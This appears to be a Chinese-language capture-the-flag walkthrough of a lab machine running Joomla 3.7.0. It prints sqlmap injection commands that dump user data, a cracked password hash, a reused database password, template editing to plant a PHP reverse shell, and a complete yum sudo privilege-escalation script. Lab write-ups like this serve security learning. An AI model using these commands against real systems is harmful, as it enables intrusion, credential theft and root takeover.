靶机ip:10.10.158.159

信息收集

nmap扫描

nmap --min-rate 10000 -p- -sV -sC 10.10.158.159 -oN reports/nmap

image-20241008133559967

发现有22,80,3306端口开放,并且在80端口上有robots.txt,开启了mysql服务

80端口

image-20241008135112969

页面貌似没什么信息,扫描一下目录

gobuster dir -u http://10.10.158.159/ -w /usr/share/wordlists/dirb/common.txt

image-20241008135614061

先看下robots.txt

image-20241008135634589

综上来看这是一个joomla CMS,目录访问后并没有发现什么信息

SQL漏洞利用

使用joomscan测试一下

joomscan -u http://10.10.158.159/

image-20241008141252485

发现版本是3.7.0,搜索一下是否有可以利用的漏洞

searchsploit joomla 3.7.0

image-20241008141438525

发现在该版本存在sql注入,将文件复制下来查看

image-20241008141543468

这里写了使用sqlmap工具进行sql注入,直接照着弄就行

sqlmap -u "http://10.10.158.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image-20241008143752393

利用成功,得到数据库,继续爆破表

sqlmap -u "http://10.10.158.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla --tables -p list[fullordering]

image-20241008144206265

得到很多表,我们重点看users表,先查看字段的值

sqlmap -u "http://10.10.158.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T '#__users' --columns -p list[fullordering]

image-20241008144828658

选项直接正常选就行

image-20241008150237274

漫长等待后也是把字段爆破出来了,我们重点看用户名和密码

sqlmap -u "http://10.10.158.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T '#__users' -C username,password --dump -p list[fullordering]

image-20241008150413037

成功拿到了一组凭据

jonah : $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm

密码是加密数据,这里使用john破解,先将密码保存至hash

john hash --wordlist=/usr/share/wordlists/rockyou.txt

image-20241008152018882

得到jonah用户的明文密码spiderman123

登录joomla

image-20241008152331521

登陆成功

获得初始权限

查看后发现可以通过改写模板文件的内容getshell

首先点击右侧Template

image-20241008152507304

再点击右侧的Template

image-20241008152706921

选第一个Beez3

image-20241008152749484

为了方便反弹shell,直接修改index.php文件

php-reverse-shell.php写到文件中,并修改其中的ip和port

image-20241008154533386

保存,在kali中起个监听

image-20241008153220414

在页面中访问刚才修改的文件

http://10.10.158.159/templates/beez3/index.php

image-20241008154614259

getshell成功!

image-20241008154835273

现在只有一个初始访问权限,还需要横向移动到jjameson用户

提升至user权限

先查看文件

image-20241008160838389

在查看文件的时候发现在 /var/www/html目录下有个configuration.php文件,查看一下

image-20241008160957808

发现有密码nv5uz9r3ZEDzVjNu,貌似是root用户的,ssh登录一下

image-20241008161331426

看样子不是root的密码,尝试ssh登陆jjameson

image-20241008161253699

登陆成功

image-20241008161354772

直接在当前页面找到user.txt

提升至root权限

先执行sudo -l看看是否有可利用的

image-20241008161548452

可以使用yum提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y

image-20241008161919145

提权成功

image-20241008162016902

/root目录下找到root.txt